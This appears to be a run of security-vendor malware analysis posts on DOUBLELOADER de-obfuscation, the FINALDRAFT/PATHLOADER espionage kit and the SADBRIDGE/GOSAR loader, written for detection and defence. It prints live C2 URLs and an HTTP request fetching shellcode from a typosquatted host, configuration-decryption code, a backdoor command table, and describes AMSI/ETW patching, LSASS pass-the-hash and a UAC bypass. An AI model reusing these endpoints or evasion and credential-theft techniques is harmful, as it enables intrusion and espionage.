In order to correct this, we can use pattern matching to find these 5 instructions together, disassemble the bytes to find which registers are involved, then use an assembler such as Keystone to generate the correct corresponding bytes.

Constant Unfolding

This obfuscation technique is prevalent throughout the DOUBLELOADER sample and is a widely used method in various forms of malware. The concept here is focused on inversing the compilation process; where instead of optimizing calculations that are known at compile time, the obfuscator “unfolds” these constants making the disassembly and decompilation complex and confusing. Below is a simple example of this technique where the known constant (46) is broken up into two mathematical operations.

In DOUBLELOADER, we run into this technique being used anytime when immediate values are moved into a register. These immediate values are replaced with multiple bitwise operations masking these constant values, thus disrupting any context and the analyst’s flow. For example, in the disassembly below on the left-hand side, there is a comparison instruction of EAX value at address (0x18016CD93). By reviewing the previous instructions, it’s not obvious or clear what the EAX value should be due to multiple obscure bitwise calculations. If we debug the program, we can see the EAX value is set to 0.

In order to clean this obfuscation technique, we can confirm its behavior with our own example where we can use the following source code and see how the transformation is applied.

#include 

int add(int a, int b)
{
    return a + b;
}

int main()
{
    int c;
    c = add(1, 2);
    printf("Meow %d",c);
    return 0;
}

After compiling, we can view the disassembly of the main function in the clean version on the left and see these two constants (2,1) moved into the EDX and ECX register. On the right side, is the transformed version, the two constants are hidden among the newly added instructions.

By using pattern matching techniques, we can look for these sequences of instructions, emulate the instructions to perform the various calculations to get the original values back, and then patch the remaining bytes with NOP’s to make sure the program will still run.

LEA Obfuscation

Similar to the previously discussed technique, LEA (Load Effective Address) obfuscation is focused on obscuring the immediate values associated with LEA instructions. An arithmetic calculation with subtraction will follow directly behind the LEA instruction to compute the original intended value. While this may seem like a minor change, it can have a significant impact breaking cross-references to strings and data — which are essential for effective binary analysis.

Below is an example of this technique within DOUBLELOADER where the RAX register value is disguised through a pattern of loading an initial value (0x1F4DFCF4F), then subtracting (0x74D983C7) to give us a new computed value (0x180064B88).

If we go to that address inside our sample, we are taken to the read-only data section, where we can find the referenced string bad array new length.

In order to correct this technique, we can use pattern matching to find these specific instructions, perform the calculation, then re-construct a new LEA instruction. Within 64-bit mode, LEA uses RIP-relative addressing so the address is calculated based on the current instruction pointer (RIP). Ultimately, we end up with a new instruction that looks like this: lea rax, [rip - 0xFF827].

Below are the steps to produce this final instruction:

With this information, we can use IDA Python to patch all these patterns out, below is an example of a fixed LEA instruction.

Control Flow Obfuscation

Control flow flattening is a powerful obfuscation technique that disrupts the traditional structure of a program’s control flow by eliminating conventional constructs like conditional branches and loops. Instead, it restructures execution using a centralized dispatcher, which determines the next basic block to execute based on a state variable, making analysis and decompilation significantly more difficult. Below is a simple diagram that represents the differences between an unflattened and flattened control flow.

Our team has observed this technique in various malware such as DOORME and it should come as no surprise in this case, that flattened control flow is one of the main features within the ALCATRAZ obfuscator. In order to approach un-flattening, we focused on established tooling by using IDA plugin D810 written by security researcher Boris Batteux.

We will start with our previous example program using the common _security_init_cookie function used to detect buffer overflows. Below is the control flow diagram of the cookie initialization function in non-obfuscated form. Based on the graph, we can see there are six basic blocks, two conditional branches, and we can easily follow the execution flow.

If we take the same function and apply ALCATRAZ's control flow flattening feature, the program’s control flow looks vastly different with 22 basic blocks, 8 conditional branches, and a new dispatcher. In the figure below, the color-filled blocks represent the previous basic blocks from the non-obfuscated version, the remaining blocks in white represent added obfuscator code used for dispatching and controlling the execution.

If we take a look at the decompilation, we can see the function is now broken into different parts within a while loop where a new state variable is used to guide the program along with remnants from the obfuscation including popf/pushf instructions.

For cleaning this function, D810 applies two different rules (UnflattenerFakeJump, FixPredecessorOfConditionalJumpBlock) that apply microcode transformations to improve decompilation.

2025-04-03 15:44:50,182 - D810 - INFO - Starting decompilation of function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - glbopt finished for function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'UnflattenerFakeJump' has been used 1 times for a total of 3 patches
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'FixPredecessorOfConditionalJumpBlock' has been used 1 times for a total of 2 patches

When we refresh the decompiler, the control-flow flattening is removed, and the pseudocode is cleaned up.

While this is a good example, fixing control-flow obfuscation can often be a manual and timely process that is function-dependent. In the next section, we will gather up some of the techniques we learned and apply it to DOUBLELOADER.

Cleaning a DOUBLELOADER function

One of the challenges when dealing with obfuscation in malware is not so much the individual obfuscation techniques, but when the techniques are layered. Additionally, in the case of DOUBLELOADER, large portions of code are placed in function chunks with ambiguous boundaries, making it challenging to analyze. In this section, we will go through a practical example showing the cleaning process for a DOUBLELOADER function protected by ALCATRAZ.

Upon launch at the Start export, one of the first calls goes to loc_18016C6D9. This appears to be an entry to a larger function, however IDA is not properly able to create a function due to undefined instructions at 0x18016C8C1.

If we scroll to this address, we can see the first disruption is due to the short jump anti-disassembly technique which we saw earlier in the blog post (EB FF).

After fixing 6 nearby occurrences of this same technique, we can go back to the start address (0x18016C6D9) and use the MakeFunction feature. While the function will decompile, it is still heavily obfuscated which is not ideal for any analysis.

Going back to the disassembly, we can see the LEA obfuscation technique used in this function below where the string constant ”Error” is now recovered using the earlier solution.

Another example below shows the transformation of an obfuscated parameter for a LoadIcon call where the lpIconName parameter gets cleaned to 0x7f00 (IDI_APPLICATION).

Now that the decompilation has improved, we can finalize the cleanup by removing control flow obfuscation with the D810 plugin. Below is a demonstration showing the before and after effects.

This section has covered a real-world scenario of working towards cleaning a malicious obfuscated function protected by ALCATRAZ. While malware analysis reports often show the final outcomes, a good portion of time is often spent up-front working towards removing obfuscation and fixing up the binary so it can then be properly analyzed.

IDA Python Scripts

Our team is releasing a series of proof-of-concept IDA Python scripts used to handle the default obfuscation techniques imposed by the ALCATRAZ obfuscator. These are meant to serve as basic examples when dealing with these techniques, and should be used for research purposes. Unfortunately, there is no silver bullet when dealing with obfuscation, but having some examples and general strategies can be valuable for tackling similar challenges in the future.

YARA

Elastic Security has created YARA rules to identify this activity.

Windows.Trojan.DoubleLoader

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | :---- | :---- | :---- | :---- | | 3050c464360ba7004d60f3ea7ebdf85d9a778d931fbf1041fa5867b930e1f7fd | SHA256 | DoubleLo.dll | DOUBLELOADER |

References

The following were referenced throughout the above research:

You've Got Malware: FINALDRAFT Hides in Your Drafts

Cyril François,Jia Yu Chan,Salim Bitam,Daniel Stepanic — Thu, 13 Feb 2025 00:00:00 GMT

While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.

Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time.

The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.

This report details the features and capabilities of these tools.

For the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.

Technical Analysis

PATHLOADER

PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure.

Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.

Configuration

PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes C2 and other relevant settings.

After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.

https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*

Configuration from PATHLOADER

API Hashing

In order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function. This can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.

String Obfuscation

PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.

One string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.

Execution/Behavior

Upon execution, PATHLOADER employs a combination of GetTickCount64 and Sleep methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (poster.checkponit[.]com, support.fortineat[.]com) attempting to download the shellcode through HTTPS GET requests.

GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36

The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.

After the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.

FINALDRAFT

FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.

Entrypoint

FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called UpdateTask.

Initialization

The malware is initialized by loading its configuration and generating a session ID.

Configuration loading process

The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.

for ( i = 0; i < 0x149A; ++i )
  configuration[i] ^= decryption_key[i & 7];

Decryption algorithm for configuration data

The decryption key is derived either from the Windows product ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.

The decryption key derivation algorithm is performed as follows:

uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );

Decryption key derivation algorithm

The configuration structure is described as follows:

struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};

Configuration structure

The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.

The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.

Session ID derivation process

The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the Fowler-Noll-Vo (FNV) hash function.

Communication protocol

During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.

The Microsoft Graph API token is obtained by FINALDRAFT using the https://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the configuration.

Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\

This token is reused across requests, if it is still valid.

The communication loop is described as follows:

Create a session email draft if it doesn’t already exist.
Read and delete command request email drafts created by the C2.
Process commands
Write command response emails as drafts for each processed command.

A check is performed to determine whether a session email, in the form of a command response email identified by the subject p_, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.

The session data is described in the structure below.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Session data structure

The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects r_.

After reading the request, emails are then deleted.

Commands are then processed, and responses are written into new draft emails, each with the same p_ subject for each command response.

Content for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.

Base64(AESEncrypt(ZlibCompress(data)))

Request messages sent from the C2 to the implant follow this structure.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)

  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Request message structure

Response messages sent from the implant to C2 follow this structure.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;        // Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;

  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Response message structure

Here is an example of data stolen by the implant.

Commands

FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.

Below is a table of the commands and their IDs:

| ID | Name | | :--- | :------------------------------------------- | | 0 | GatherComputerInformation | | 2 | StartTcpServerProxyToC2 | | 3 | StopTcpServerProxyToC2 | | 4 | ConnectToTcpTargetStartProxyToC2 | | 5 | SetSleepValue | | 6 | DeleteNetworkProjectorFwRuleAndStopTCPServer | | 8 | ConnectToTcpTarget | | 9 | SendDataToUdpOrTcpTarget | | 10 | CloseTcpConnection | | 11 | DoProcessInjectionSendOutputEx | | 12 | ListFiles | | 13 | ListAvailableDrives | | 14 | CreateDirectory | | 15 | DeleteFileOrDirectory | | 16 | DownloadFile | | 17 | UploadFile0 | | 18 | DummyFunction | | 19 | SetCurrentDirectory | | 20 | GetCurrentDirectory | | 21 | ListRunningProcesses | | 24 | DoProcessInjectionNoOutput | | 25 | DoProcessInjectionNoOutput (Same as 24) | | 26 | DoProcessInjectionSendOutput1 | | 28 | DisconnectFromNamedPipe | | 30 | ConnectToNamedPipeAndProxyMessageToC2 | | 31 | GetCurrentProcessTokenInformation | | 32 | EnumerateActiveSessions | | 33 | ListActiveTcpUdpConnections | | 35 | MoveFile1 | | 36 | GetOrSetFileTime | | 39 | UploadFile1 | | 41 | MoveFile0 | | 42 | CopyFileOrCopyDirectory | | 43 | TerminateProcess | | 44 | CreateProcess |

FINALDRAFT command handler table

Gather computer information

Upon execution of the GatherComputerInformation command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.

This structure is described as follows:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Collected information structure

The external IP address is collected when enabled in the configuration.

This address is obtained by FINALDRAFT using the following list of public services.

IP lookup service list

Process injection

FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.

In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to mspaint.exe or conhost.exe as a fallback.

Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.

Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).

The process injection procedure is basic and based on VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread API.

Forwarding data from TCP, UDP, and named pipes

FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.

Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.

Below is an example screenshot of the recvfrom call from the UDP listener.

Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule interfaces.

FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” and expects the server to echo the same magic value back before beginning to forward the received data.

For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.

File manipulation

For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.

FINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.

It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses GetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl is then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.

For each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.

If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier = 128). Data is then extracted from this attribute and written to the destination file using WriteFile.

Injected Modules

Our team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.

Network enumeration (`ipconfig.x64.dll`)

This module creates a named pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (Aslire597) as an argument, if the password is incorrect, the module will not run.

As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) and reading the Windows registry keypath (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.

PowerShell execution (`Psloader.x64.dll`)

This module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code used is taken from PowerPick, a well-known open source offensive security tool.

To evade detection, the module first hooks the EtwEventWrite, ReportEventW, and AmsiScanBuffer APIs, forcing them to always return 0, which disables ETW logging and bypasses anti-malware scans.

Next, the DLL loads a .NET payload (PowerPick) stored in its .data section using the CLR Hosting technique.

The module creates a named pipe (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed PowerPick binary is loaded and executed by the module.

Pass-the-Hash toolkit (`pnt.x64.dll`)

This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by Mimikatz, enabling lateral movement.

A password (Aslire597), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.

program.exe \:

Like the other module, it creates a named pipe, ”\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.

After establishing the pipe connection, the malware creates a target process in a suspended state using CreateProcessWithLogonW, identifies key structures like the LogonSessionList and LogonSessionListCount within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.

Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "Inside the Mimikatz Pass-the-Hash Command (Part 2)" by Praetorian. The result is then sent to the named pipe.

FINALDRAFT ELF variant

During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.

Additional transport channels

The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:

FINALDRAFT ELF variant C2 communication options

From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.

While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either /var/log/installlog.log. or /mnt/hgfsdisk.log. if it fails to write to the prior file.

Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number 0x1bb (443) at offset 0xc8, and flag for using HTTPS at offset 0xfc.

The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.

| C2 | | :------------------ | | support.vmphere.com | | update.hobiter.com |

Domain list

Commands

All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:

Hostname
Current logged-in user
Intranet IP address
External IP address
Gateway IP address
System boot time
Operating system name and version
Kernel version
System architecture
Machine GUID
List of active network connections
List of running processes
Name of current process

Command Execution

While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes popen for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.

Self Deletion

To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to sys_readlink. sys_unlink is then called to remove the executable file from the filesystem.

Older FINALDRAFT PE sample

During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.

The name of the binary is Session.x64.dll, and its entrypoint export is called GoogleProxy:

HTTP transport channel

This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.

In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (checkponit[.]com) was registered on 2022-08-26T09:43:16Z and domain (fortineat[.]com) was registred on 2023-11-08T09:47:47Z.

The domains purposely typosquat real known vendors, CheckPoint and Fortinet, in this case.

| C2 | | :------------------------ | | poster.checkponit[.]com | | support.fortineat[.]com |

Domain list

Shell command

An additional command exists in this sample that is not present in later versions. This command, with ID 1, executes a shell command.

The execution is carried out by creating a cmd.exe process with the "/c" parameter, followed by appending the actual command to the parameter.

Detection

Elastic Defend detects the process injection mechanism through two rules. The first rule detects the WriteProcessMemory API call targeting another process, which is a common behavior observed in process injection techniques.

The second rule detects the creation of a remote thread to execute the shellcode.

We also detect the loading of the PowerShell engine by the Psloader.x64.dll module, which is injected into the known target mspaint.exe.

Malware and MITRE ATT\&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigations

Detection

YARA

Elastic Security has created the following YARA rules related to this post:

Observations

The following observables were discussed in this research:

Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite

Jia Yu Chan,Salim Bitam,Daniel Stepanic,Seth Goodwin — Fri, 13 Dec 2024 00:00:00 GMT

Introduction

Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.

Key takeaways

Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser
Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)
SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)
GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time
Elastic Security provides comprehensive prevention and detection capabilities against this attack chain

REF3864 Campaign Overview

In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.

During this investigation, we uncovered multiple infection chains involving similar techniques:

Trojanized MSI installers with low detections
Masquerading using legitimate software bundled with malicious DLLs
Custom SADBRIDGE loader deployed
Final stage GOSAR loaded

We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows x64dbg.exe debugging application is used behind-the-scenes to load a malicious, patched DLL (x64bridge.dll). This DLL kicks off a new legitimate program (MonitoringHost.exe) where it side-loads another malicious DLL (HealthServiceRuntime.dll), ultimately performing injection and loading the GOSAR implant in memory via injection.

Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as 360tray.exe, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.

QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, Evolution of Quasar RAT), including by China-linked APT10. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.

GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).

SADBRIDGE Introduction

The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes.

Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a UAC bypass technique that abuses the ICMLuaUtil COM interface. In addition, SADBRIDGE incorporates a privilege escalation bypass through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.

The SADBRIDGE configuration is encrypted using a simple subtraction of 0x1 on each byte of the configuration string. The encrypted stages are all appended with a .log extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.

SADBRIDGE employs PoolParty, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long Sleep API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).

The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.

SADBRIDGE Code Analysis

MSI Analysis

The initial files are packaged in an MSI using Advanced Installer, the main files of interest are x64dbg.exe and x64bridge.dll.

By using MSI tooling (lessmsi), we can see the LaunchApp entrypoint in aicustact.dll is configured to execute the file path specified in the AI_APP_FILE property.

If we navigate to this AI_APP_FILE property, we can see the file tied to this configuration is x64dbg.exe. This represents the file that will be executed after the installation is completed, the legitimate NetFxRepairTool.exe is never executed.

x64bridge.dll Side-loading

When x64dbg.exe gets executed, it calls the BridgeInit export from x64bridge.dll. BridgeInit is a wrapper for the BridgeStart function.

Similar to techniques observed with BLISTER, SADBRIDGE patches the export of a legitimate DLL.

During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed 0x4E67C6A7. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to C:\Users\Public\Documents\\edbtmp.log. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN to hide itself from an ordinary directory listing.

Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by 0x1.

The configuration consists of:

Possible campaign date
Strings to be used for creating services
New name for MonitoringHost.exe (DevQueryBroker.exe)
DLL name for the DLL to be sideloaded by MonitoringHost.exe (HealthServiceRuntime.dll)
Absolute paths for additional stages (.log files)
The primary injection target for hosting GOSAR (svchost.exe)

The DevQueryBroker directory (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\) contains all of the encrypted stages (.log files) that are decrypted at runtime. The file (DevQueryBroker.exe) is a renamed copy of Microsoft legitimate application (MonitoringHost.exe).

Finally, it creates a process to run DevQueryBroker.exe which side-loads the malicious HealthServiceRuntime.dll in the same folder.

HealthServiceRuntime.dll

This module drops both an encrypted and partially decrypted shellcode in the User’s %TEMP% directory. The file name for the shellcode follows the format: log.tmp. Each byte of the partially decrypted shellcode is then decremented by 0x10 to fully decrypt. The shellcode is executed in a new thread of the same process.

The malware leverages API hashing using the same algorithm in research published by SonicWall, the hashing algorithm is listed in the Appendix section. The shellcode decrypts DevQueryBroker.log into a PE file then performs a simple XOR operation with a single byte (0x42) in the first third of the file where then it decompresses the result using the LZNT1 algorithm.

